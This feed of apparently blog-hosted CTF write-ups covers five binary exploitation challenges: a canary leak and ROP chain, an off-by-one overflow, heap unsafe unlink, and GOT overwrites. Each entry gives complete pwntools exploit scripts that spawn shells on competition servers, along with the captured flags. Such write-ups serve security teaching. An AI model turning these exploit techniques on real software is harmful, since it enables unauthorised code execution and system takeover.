  <entry>
    <title>Codegate prequals 2017: babypwn (pwn 50)</title>
    <link href="https://poning.me/2017/02/14/babypwn/"/>
    <id>https://poning.me/2017/02/14/babypwn/</id>
    <published>2017-02-14T06:56:04.000Z</published>
    <updated>2017-02-20T16:27:11.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>BabyPwn~~~<br><a href="/2017/02/14/babypwn/babypwn" title="http://ctf.codegate.org/z/babypwn">http://ctf.codegate.org/z/babypwn</a><br>nc 110.10.212.130 8888<br>nc 110.10.212.130 8889</p>
</blockquote>
<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><ul>
<li>Leak the canary</li>
<li>Use ROP to leak the address of <code>libc</code> functions</li>
<li>Find the <code>libc</code> version by <a href="libcdb.com">libcdb.com</a></li>
<li>Use ROP to <code>dup2 dup2 system</code></li>
</ul>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p><code>babypwn</code> is a TCP server. If we connect to it, it is basically a echo server.</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>▒▒▒▒▒▒▒C▒O▒D▒E▒G▒A▒T▒E▒2▒0▒1▒7▒▒▒▒▒▒▒<br>▒▒▒▒▒▒▒B▒A▒B▒Y▒P▒W▒N▒!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒<br>▒▒▒▒▒▒▒G▒O▒O▒D▒L▒U▒C▒K▒~▒!▒▒▒▒▒▒▒▒▒▒▒<br>===============================<br>1. Echo<br>2. Reverse Echo<br>3. Exit<br>===============================<br>Select menu &gt; 1<br>Input Your Message : 123<br>123<br><br>===============================<br>1. Echo<br>2. Reverse Echo<br>3. Exit<br>===============================<br>Select menu &gt; 2<br>Input Your Message : 123<br><br>321<br>===============================<br>1. Echo<br>2. Reverse Echo<br>3. Exit<br>===============================<br>Select menu &gt;<br></pre></td></tr></table></figure>
<p>The bug is a simple buffer overflow. At line 10 of the following code snippet, it reads 0x64 bytes to a buffer of 0x28 bytes.</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br></pre></td><td class="code"><pre>send_str(<span class="hljs-string">"\n===============================\n"</span>);<br>send_str(<span class="hljs-string">"1. Echo\n"</span>);<br>send_str(<span class="hljs-string">"2. Reverse Echo\n"</span>);<br>send_str(<span class="hljs-string">"3. Exit\n"</span>);<br>send_str(<span class="hljs-string">"===============================\n"</span>);<br>v1 = get_num();<br><span class="hljs-keyword">if</span> ( v1 != <span class="hljs-number">1</span> )<br>  <span class="hljs-keyword">break</span>;<br>send_str(<span class="hljs-string">"Input Your Message : "</span>);<br>recv_str(&amp;v2, <span class="hljs-number">0x64</span>u);  <span class="hljs-comment">// BUG</span><br>send_str(&amp;v2);<br></pre></td></tr></table></figure>
<p>Although the return address is protected by a canary, this program doesn’t append a null byte when receiving data and later return all the data before a null byte. Therefore, we can concatenate our input with the canary and leak it in the response of server. With the knowledge of canary, it is trivial to override the return address and launch a ROP attack.</p>
<p>I want to make use of the <code>system</code> to spawn a shell, so my next step is to leak the address of the <code>libc</code>. Using ROP chain such as <code>send, padding, GOT of atoi</code>, I can leak the address of several <code>libc</code> functions. Finally, I need to know the <code>libc</code> version of the remote to calculate the correct offset of <code>system</code>. At first, I used <a href="https://github.com/niklasb/libc-database" target="_blank" rel="external">libc-database</a> but couldn’t find the matched version. Then, I try <a href="libcdb.com">libcdb.com</a> and luckily found the target <code><a href="/2017/02/14/babypwn/libc-2.19_16.so" title="libc">libc</a></code>. Now, I can use the standard <code>dup2 dup2 system</code> ROP chain to launch a shell and get the flag.</p>
<p>The whole exploit is as follows. (Note that since it is a fork server, the canary and the <code>libc</code> base won’t change unless the server is relaunched. Therefore, I hardcoded the canary and <code>libc</code> functions in the script.)</p>
<figure class="highlight python"><figcaption><span>babypwn_exp.py</span><a href="/2017/02/14/babypwn/babypwn_exp.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br>28<br>29<br>30<br>31<br>32<br>33<br>34<br>35<br>36<br>37<br>38<br>39<br>40<br>41<br>42<br>43<br>44<br>45<br>46<br>47<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><span class="hljs-keyword">from</span> time <span class="hljs-keyword">import</span> sleep<br><br>send_str = <span class="hljs-number">0x80488B1</span><br>print_goodbye = <span class="hljs-number">0x8048C23</span><br>got_atoi = <span class="hljs-number">0x804B050</span><br>pop_pop_ret = <span class="hljs-number">0x08048b84</span><br><br><span class="hljs-comment">## local</span><br><span class="hljs-comment"># canary = '\x00\xfa\xe4$'</span><br><span class="hljs-comment"># libc_base = 0xf7533000</span><br><span class="hljs-comment"># system = 0xf756e020</span><br><span class="hljs-comment"># dup2 = 0xf760b8f0</span><br><span class="hljs-comment"># bin_sh = 0xf769260f</span><br><br><span class="hljs-comment"># remote</span><br>canary = <span class="hljs-string">'\x00"\x8d3'</span><br>libc_base = <span class="hljs-number">0xf756f000</span><br>system = <span class="hljs-number">0xf75af190</span><br>bin_sh = <span class="hljs-number">0xf76cfa24</span><br>dup2 = <span class="hljs-number">0xf764a590</span><br><br>r = remote(<span class="hljs-string">'110.10.212.130'</span>, <span class="hljs-number">8888</span>)<br><span class="hljs-comment"># r = remote('127.0.0.1', 8181)</span><br><br><span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'&gt; '</span>)<br>r.sendline(<span class="hljs-string">'1'</span>)<br><span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">': '</span>)<br>r.send(flat(<span class="hljs-string">'A'</span>*<span class="hljs-number">40</span>, canary, <span class="hljs-string">'A'</span>*<span class="hljs-number">12</span>,   <span class="hljs-comment"># padding</span><br>            dup2, pop_pop_ret, <span class="hljs-number">4</span>, <span class="hljs-number">0</span>,  <span class="hljs-comment"># dup2(4, 0)</span><br>            dup2, pop_pop_ret, <span class="hljs-number">4</span>, <span class="hljs-number">1</span>,  <span class="hljs-comment"># dup2(4, 1)</span><br>            system, <span class="hljs-number">0</span>, bin_sh))       <span class="hljs-comment"># system("/bin/sh")</span><br><br><span class="hljs-keyword">print</span> repr(r.recvuntil(<span class="hljs-string">'&gt; '</span>))<br>r.sendline(<span class="hljs-string">'3'</span>)<br><br>r.interactive()<br><br><span class="hljs-comment">## leak the address of libc</span><br><span class="hljs-comment"># r.send(flat('A'*40, canary, 'A'*12, send_str, print_goodbye, got_atoi))</span><br><span class="hljs-comment"># print repr(r.recvuntil('&gt; '))</span><br><span class="hljs-comment"># r.sendline('3')</span><br><span class="hljs-comment"># data = r.recvall()</span><br><span class="hljs-comment"># print repr(data)</span><br><span class="hljs-comment"># print 'atoi: ' + hex(u32(data[:4]))</span><br><span class="hljs-comment"># print 'socket: ' + hex(u32(data[4:8]))</span><br><span class="hljs-comment"># print 'sigaction: ' + hex(u32(data[8:12]))</span><br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>FLAG{Good_Job~!Y0u_@re_Very__G@@d!!!!!!^.^}</code></p>
</blockquote>
<h2 id="Note"><a href="#Note" class="headerlink" title="Note"></a>Note</h2><ul>
<li>I spent some unnecessary work on finding the address of <code>system</code> because I didn’t see that <code>system</code> was already in the GOT table. It was deliberately put in the code that no one actually reference it. It was even used to <code>system(&quot;echo &#39;not easy to see&#39;&quot;)</code> to indicate this fact. </li>
</ul>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;BabyPwn~~~&lt;br&gt;&lt;a href
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="Codegate prequals" scheme="https://poning.me/tags/Codegate-prequals/"/>
    
  </entry>
  
  <entry>
    <title>DefCamp CTF Finals 2016: SMS (pwn 200)</title>
    <link href="https://poning.me/2016/12/05/SMS/"/>
    <id>https://poning.me/2016/12/05/SMS/</id>
    <published>2016-12-04T16:44:04.000Z</published>
    <updated>2016-12-06T02:44:18.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>nc 45.32.157.65 65022<br><a href="/2016/12/05/SMS/200.bin" title="200.bin">200.bin</a></p>
</blockquote>
<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><ul>
<li>Overflow the length variable.</li>
<li>Overflow the return address to the built-in get shell function (Only overflow least two bytes to bypass ASLR).</li>
</ul>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><figure class="highlight plain"><table><tr><td class="code"><pre>--------------------------------------------<br>|   Welcome to Defcamp SMS service          |<br>--------------------------------------------<br>Enter your name<br>&gt; AAA<br>Hi, AAA<br>SMS our leader<br>&gt; AAA<br>SMS delivered<br></pre></td></tr></table></figure>
<p>The binary let us input our name and a message. The memory layout looks like:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>Stack:<br>| SMS content (140 bytes) | name (40 bytes) | SMS length (1 byte) |<br></pre></td></tr></table></figure>
<p>The vulnerability is that when reading a name of 40 bytes, the correct for loop should be:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre>for(int i = 0; i &lt; 40; i++)<br>    ...<br></pre></td></tr></table></figure>
<p>instead of </p>
<figure class="highlight plain"><table><tr><td class="code"><pre>for(int i = 0; i &lt;= 40; i++)<br>    ...<br></pre></td></tr></table></figure>
<p>which causes a one byte overflow, and let us further overflow the return address when reading the SMS content. The target of the return is a built-in get shell function <code>frontdoor</code>. However, this program is PIE enabled, so we don’t know the exact address of <code>frontdoor</code>. We can overcome it by only overriding the least two bytes of the return address. Since the least 12 bits are fixed, we are only guessing 4 bits of the address.</p>
<p>The complete script is as follows.</p>
<figure class="highlight python"><figcaption><span>sms_exp.py</span><a href="/2016/12/05/SMS/sms_exp.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><span class="hljs-keyword">from</span> time <span class="hljs-keyword">import</span> sleep<br><br>context.terminal = [<span class="hljs-string">'tmux'</span>, <span class="hljs-string">'splitw'</span>, <span class="hljs-string">'-h'</span>]<br><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">256</span>):<br>    <span class="hljs-comment">#  r = process('./200.bin')</span><br>    <span class="hljs-comment">#  gdb.attach(r, '''</span><br>    <span class="hljs-comment">#  c</span><br>    <span class="hljs-comment">#  ''')</span><br>    r = remote(<span class="hljs-string">'45.32.157.65'</span>, <span class="hljs-number">65022</span>)<br><br>    sleep(<span class="hljs-number">0.1</span>)<br>    <span class="hljs-keyword">print</span> r.recv()<br>    r.sendline(<span class="hljs-string">'A'</span>*<span class="hljs-number">40</span> + <span class="hljs-string">'\xca'</span>)<br>    sleep(<span class="hljs-number">0.1</span>)<br>    <span class="hljs-keyword">print</span> r.recv()<br>    r.sendline(<span class="hljs-string">'A'</span>*<span class="hljs-number">200</span> + <span class="hljs-string">'\x01\x49'</span>)<br>    <span class="hljs-keyword">try</span>:<br>        r.sendline(<span class="hljs-string">'cat flag\x00'</span>)<br>        sleep(<span class="hljs-number">0.5</span>)<br>        <span class="hljs-keyword">print</span> r.recv()<br>    <span class="hljs-keyword">except</span>:<br>        <span class="hljs-keyword">print</span> <span class="hljs-string">'fail'</span><br><br>    r.close()<br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>DCTF{35c60be438186d13fdd2c9db9d3e33b7}</code></p>
</blockquote>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;nc 45.32.157.65 65022
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="DefCamp CTF" scheme="https://poning.me/tags/DefCamp-CTF/"/>
    
  </entry>
  
  <entry>
    <title>HITCON CTF 2016: Secret Holder (pwn 100)</title>
    <link href="https://poning.me/2016/10/29/secret-holder/"/>
    <id>https://poning.me/2016/10/29/secret-holder/</id>
    <published>2016-10-29T12:46:05.000Z</published>
    <updated>2017-02-14T06:52:08.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>Break the Secret Holder and find the secret.<br>nc 52.68.31.117 5566<br><a href="/2016/10/29/secret-holder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8" title="SecretHolder">SecretHolder</a></p>
</blockquote>
<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><ul>
<li>Free the chunk of others to create use after free.</li>
<li>Overlapping three chunks to overwrite chunk headers.</li>
<li>Unsafe unlink.</li>
<li>Change <code>free</code> GOT entry to <code>puts</code> PLT address to leak <code>libc</code> base.</li>
<li>Change <code>atoi</code> GOT entry to <code>system</code> in <code>libc</code> to get the shell.</li>
</ul>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><figure class="highlight plain"><table><tr><td class="code"><pre>Hey! Do you have any secret?<br>I can help you to hold your secrets, and no one will be able to see it :)<br>1. Keep secret<br>2. Wipe secret<br>3. Renew secret<br>1<br>Which level of secret do you want to keep?<br>1. Small secret<br>2. Big secret<br>3. Huge secret<br></pre></td></tr></table></figure>
<p>The program allows us to conduct three kinds of operations on three different sizes of secrets.</p>
<p>Three operations:</p>
<ol>
<li>Keep secret: <code>calloc</code> corresponding size of memory and read some input to it.</li>
<li>Wipe secret: <code>free</code> the corresponding memory.</li>
<li>Renew secret: Overwrite the content of the corresponding memory.</li>
</ol>
<p>Three secrets:</p>
<ol>
<li>Small secret: 40 bytes</li>
<li>Big secret: 4000 bytes</li>
<li>Huge secret: 400000 bytes</li>
</ol>
<p>We can only keep at most one secret per size. Three pointers of the secret are store on the <code>.bss</code> section with three flags which indicate whether the secret has been allocated.</p>
<p>The vulnerability comes from the <code>wipe</code> function. The program will check whether the secret has been created in <code>keep</code> and <code>renew</code> but not in <code>wipe</code>, so we can <code>free</code> an already freed secret. <code>free</code> a secret twice consecutively would only make the program crash due to the double free detection. However, if we keep another secret on the same address after the first <code>free</code>, we can <code>free</code> this new secret through the old pointer. Then, since the new secret doesn’t aware of this <code>free</code>, we can still write data to it and cause an use after free vulnerability.</p>
<p>For example, if we invoke functions in the following sequence:<br><code>keep(&#39;small&#39;) -&gt; wipe(&#39;small&#39;) -&gt; keep(&#39;big&#39;) -&gt; wipe(&#39;small&#39;) -&gt; keep(&#39;small&#39;)</code></p>
<p>The heap layout would be like:<br><img src="/2016/10/29/secret-holder/heap1.png" alt="heap1.png" title=""></p>
<p>We can now overflow the header of the top chunk. There is a technique call “House of force”, which is related to modify the header of the top chunk. However, it also requires the ability to <code>malloc</code> arbitrary size, so this program is not the case.</p>
<p>I was stuck in here for a while until I accidentally found an interesting fact of heap. The huge secret is too large to fit in the main arena, so it supposed to be allocated by <code>mmap</code>. It does call <code>mmap</code> at the first time, however, if I <code>free</code> the memory and <code>malloc</code> again, the new memory chunk will surprisingly appear in the main arena. I can’t find the description of this property on related heap exploit document. Maybe I should check it out in the source code someday. Anyway, this property turns out to be the key point of solving this problem.</p>
<p>We first invoke functions as the previous example with additional <code>keep(huge) -&gt; wipe(huge) -&gt; keep(huge)</code>. The heap layout would become:<br><img src="/2016/10/29/secret-holder/heap2.png" alt="heap2.png" title=""></p>
<p>Then, we are able to modify the content of the small secret and the header of the huge secret. These abilities plus the pointer of the secrets on <code>.bss</code> section enable a classical attack call “unsafe unlink”. I create a fake freed chunk in the small secret, whose <code>fd</code> and <code>bk</code> points to <code>small secret pointer - 0x18</code> and <code>small secret pointer - 0x10</code> respectively, and change the PREV_INUSE bit of the huge secret to 0. After wiping the modified huge secret, the small secret pointer would point to a little offset before itself, allowing us to overflow three secret pointers and further get the arbitrary write.</p>
<p>Before modifying GOT entry to <code>system</code>, we have to leak the base of <code>libc</code> first. I achieve it by changing the <code>free</code> GOT entry to the address of <code>puts</code> in <code>.plt</code> section and make the big secret pointer point to <code>read</code> GOT entry. Then, calling wipe on the big secret would print the address of <code>read</code> and leak the address of <code>libc</code> (I guessed the <code>libc</code> binary is the same as another pwn problem. <a href="/2016/10/29/secret-holder/libc.so.6_375198810bb39e6593a968fcbcf6556789026743" title="libc.so">libc.so</a>).</p>
<p>Finally, we can change the <code>atoi</code> GOT entry to <code>system</code>, and input <code>&quot;sh&quot;</code> to get the shell. The whole exploit is as follows.</p>
<figure class="highlight python"><figcaption><span>secret_holder_exp.py</span><a href="/2016/10/29/secret-holder/secret_holder_exp.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br>28<br>29<br>30<br>31<br>32<br>33<br>34<br>35<br>36<br>37<br>38<br>39<br>40<br>41<br>42<br>43<br>44<br>45<br>46<br>47<br>48<br>49<br>50<br>51<br>52<br>53<br>54<br>55<br>56<br>57<br>58<br>59<br>60<br>61<br>62<br>63<br>64<br>65<br>66<br>67<br>68<br>69<br>70<br>71<br>72<br>73<br>74<br>75<br>76<br>77<br>78<br>79<br>80<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><span class="hljs-keyword">from</span> time <span class="hljs-keyword">import</span> sleep<br><br>context.terminal = [<span class="hljs-string">'tmux'</span>, <span class="hljs-string">'splitw'</span>, <span class="hljs-string">'-h'</span>]<br><br>small_secret = <span class="hljs-number">0x6020B0</span><br>big_secret = <span class="hljs-number">0x6020A0</span><br>puts_plt = <span class="hljs-number">0x4006C0</span><br>free_got = <span class="hljs-number">0x602018</span><br>read_got = <span class="hljs-number">0x602040</span><br>atoi_got = <span class="hljs-number">0x602070</span><br><br>read_base = <span class="hljs-number">0xf69a0</span><br>system_base = <span class="hljs-number">0x45380</span><br><br>size_num = { <span class="hljs-string">'small'</span>: <span class="hljs-string">'1'</span>, <span class="hljs-string">'big'</span>: <span class="hljs-string">'2'</span>, <span class="hljs-string">'huge'</span>: <span class="hljs-string">'3'</span> }<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">keep</span><span class="hljs-params">(size)</span>:</span><br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'3. Renew secret\n'</span>)<br>    log.info(<span class="hljs-string">'keep '</span> + size + <span class="hljs-string">' secret'</span>)<br>    r.sendline(<span class="hljs-string">'1'</span>)<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'3. Huge secret\n'</span>)<br>    r.sendline(size_num[size])<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">':'</span>)<br>    r.send(size)<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">wipe</span><span class="hljs-params">(size)</span>:</span><br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'3. Renew secret\n'</span>)<br>    log.info(<span class="hljs-string">'wipe '</span> + size + <span class="hljs-string">' secret'</span>)<br>    r.sendline(<span class="hljs-string">'2'</span>)<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'3. Huge secret\n'</span>)<br>    r.sendline(size_num[size])<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">renew</span><span class="hljs-params">(size, content)</span>:</span><br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'3. Renew secret\n'</span>)<br>    log.info(<span class="hljs-string">'renew '</span> + size + <span class="hljs-string">' secret'</span>)<br>    r.sendline(<span class="hljs-string">'3'</span>)<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'3. Huge secret\n'</span>)<br>    r.sendline(size_num[size])<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">':'</span>)<br>    r.send(content)<br><br><span class="hljs-comment"># r = process('./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8', env={'LD_PRELOAD': './libc.so.6_375198810bb39e6593a968fcbcf6556789026743'})</span><br><span class="hljs-comment"># gdb.attach(r, '''</span><br><span class="hljs-comment"># c</span><br><span class="hljs-comment"># ''')</span><br>r = remote(<span class="hljs-string">'52.68.31.117'</span>, <span class="hljs-number">5566</span>)<br><br>keep(<span class="hljs-string">'small'</span>)<br>wipe(<span class="hljs-string">'small'</span>)<br>keep(<span class="hljs-string">'big'</span>)<br>wipe(<span class="hljs-string">'small'</span>)<br>keep(<span class="hljs-string">'small'</span>)<br>keep(<span class="hljs-string">'huge'</span>)<br>wipe(<span class="hljs-string">'huge'</span>)<br>keep(<span class="hljs-string">'huge'</span>)<br><br>renew(<span class="hljs-string">'big'</span>, p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">49</span>) + p64(small_secret<span class="hljs-number">-0x18</span>) + p64(small_secret<span class="hljs-number">-0x10</span>) + p64(<span class="hljs-number">32</span>) + p64(<span class="hljs-number">400016</span>))<br>wipe(<span class="hljs-string">'huge'</span>) <span class="hljs-comment"># trigger unsafe unlink</span><br>renew(<span class="hljs-string">'small'</span>, <span class="hljs-string">'A'</span>*<span class="hljs-number">8</span> + p64(free_got) + <span class="hljs-string">'A'</span>*<span class="hljs-number">8</span> + p64(big_secret)) <span class="hljs-comment"># padding + big_secret + huge_secret + small_secret</span><br>renew(<span class="hljs-string">'big'</span>, p64(puts_plt))<br>renew(<span class="hljs-string">'small'</span>, p64(read_got)) <span class="hljs-comment"># *free_got = puts_plt, *big_secret = read_got</span><br><br>wipe(<span class="hljs-string">'big'</span>) <span class="hljs-comment"># puts(read_got)</span><br>data = r.recvline()<br><span class="hljs-keyword">print</span> repr(data)<br>read_addr = u64(data[:<span class="hljs-number">6</span>] + <span class="hljs-string">'\x00\x00'</span>)<br>log.critical(<span class="hljs-string">'read_addr: '</span> + hex(read_addr))<br>libc_addr = read_addr - read_base<br>log.critical(<span class="hljs-string">'libc_addr: '</span> + hex(libc_addr))<br>system_addr = libc_addr + system_base<br>log.critical(<span class="hljs-string">'system_addr: '</span> + hex(system_addr))<br><br>renew(<span class="hljs-string">'small'</span>, p64(atoi_got) + <span class="hljs-string">'A'</span>*<span class="hljs-number">8</span> + p64(big_secret) + p64(<span class="hljs-number">1</span>)) <span class="hljs-comment"># big_secret + huge_secret + small_secret + big_in_use_flag</span><br>renew(<span class="hljs-string">'big'</span>, p64(system_addr)) <span class="hljs-comment"># *atoi_got = system_addr</span><br><br>log.critical(<span class="hljs-string">"get shell"</span>)<br>r.send(<span class="hljs-string">'sh'</span>)<br><br>r.interactive()<br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>hitcon{The73 1s a s3C7e+ In malloc.c, h4ve y0u f0Und It?:P}</code></p>
</blockquote>
<h2 id="Note"><a href="#Note" class="headerlink" title="Note"></a>Note</h2><p><strong>What I’ve learned:</strong><br>The behavior of <code>malloc</code> when the requested size is greater than the main arena limit.</p>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;Break the Secret Hold
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="heap" scheme="https://poning.me/tags/heap/"/>
    
      <category term="HITCON CTF" scheme="https://poning.me/tags/HITCON-CTF/"/>
    
      <category term="unsafe unlink" scheme="https://poning.me/tags/unsafe-unlink/"/>
    
      <category term="use after free" scheme="https://poning.me/tags/use-after-free/"/>
    
      <category term="GOT" scheme="https://poning.me/tags/GOT/"/>
    
  </entry>
  
  <entry>
    <title>D-CTF Quals 2016: My gift (Exploit 200)</title>
    <link href="https://poning.me/2016/10/04/my-gift/"/>
    <id>https://poning.me/2016/10/04/my-gift/</id>
    <published>2016-10-04T11:08:36.000Z</published>
    <updated>2017-02-14T02:45:27.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>10.13.37.22:1337<br><a href="/2016/10/04/my-gift/exp200.bin" title="https://dctf.def.camp/quals-2016/exp200.bin">https://dctf.def.camp/quals-2016/exp200.bin</a></p>
</blockquote>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>This is a straightforward echo server with a bare buffer overflow vulnerability. Stack canary is not enable, and there is even a hidden print-flag function in the binary. So, just overflow the return address and jump to the target in the old-school fashion. To trigger the <code>ret</code>, we need to enter a string whose position 0, 1, 2, 4 are s, t, o, p respectively.</p>
<figure class="highlight python"><figcaption><span>my_gift_exp.py</span><a href="/2016/10/04/my-gift/my_gift_exp.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><span class="hljs-keyword">from</span> time <span class="hljs-keyword">import</span> sleep<br><br>gift = <span class="hljs-number">0x400B90</span><br><br>r = remote(<span class="hljs-string">'10.13.37.22'</span>, <span class="hljs-number">1337</span>)<br><br>r.send(<span class="hljs-string">'A'</span>*<span class="hljs-number">104</span> + p64(gift))<br>sleep(<span class="hljs-number">0.1</span>)<br><span class="hljs-keyword">print</span> repr(r.recv())<br>sleep(<span class="hljs-number">2</span>)<br>r.send(<span class="hljs-string">'stoop'</span>)<br>sleep(<span class="hljs-number">1</span>)<br><span class="hljs-keyword">print</span> repr(r.recv())<br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>DCTF{53827349d071f72d5cbcc37d3a14ca39}</code></p>
</blockquote>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;10.13.37.22:1337&lt;br&gt;&lt;
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="x86-64" scheme="https://poning.me/tags/x86-64/"/>
    
      <category term="D-CTF Quals" scheme="https://poning.me/tags/D-CTF-Quals/"/>
    
      <category term="stack overflow" scheme="https://poning.me/tags/stack-overflow/"/>
    
  </entry>
  
  <entry>
    <title>D-CTF Quals 2016: Warm heap (Exploit 100)</title>
    <link href="https://poning.me/2016/10/04/warm-heap/"/>
    <id>https://poning.me/2016/10/04/warm-heap/</id>
    <published>2016-10-04T08:46:04.000Z</published>
    <updated>2017-02-14T02:45:32.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>10.13.37.21:1337<br><a href="/2016/10/04/warm-heap/exp100.bin" title="https://dctf.def.camp/quals-2016/exp100.bin">https://dctf.def.camp/quals-2016/exp100.bin</a></p>
</blockquote>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><img src="/2016/10/04/warm-heap/warm_heap_1.png" alt="warm_heap_1.png" title="">
<p>The binary <code>malloc</code> four chunks as the figure shown above. The first and the third chunks contain a pointer to the second and the fourth chunks respectively. Then, it will invoke two <code>fgets</code> to these two pointers. We can make use of the buffer overflow bug of the first <code>fgets</code> to change the destination of the second <code>fgets</code>. By changing the value of the GOT of <code>exit</code> to the embedded print-flag function, we can get the flag easily.</p>
<figure class="highlight python"><figcaption><span>warm_heap_exp.py</span><a href="/2016/10/04/warm-heap/warm_heap_exp.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br>exit_got = <span class="hljs-number">0x601068</span><br>flag = <span class="hljs-number">0x400826</span><br><br>r = remote(<span class="hljs-string">'10.13.37.21'</span>, <span class="hljs-number">1337</span>)<br><br>r.sendline(<span class="hljs-string">'A'</span>*<span class="hljs-number">40</span> + p64(exit_got))<br>r.sendline(p64(flag))<br><span class="hljs-keyword">print</span> r.recvall()<br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>DCTF{b94c21ff7531cba35a498cb074918b3e}</code></p>
</blockquote>
]]></content>
    
    <summary type="html">
    
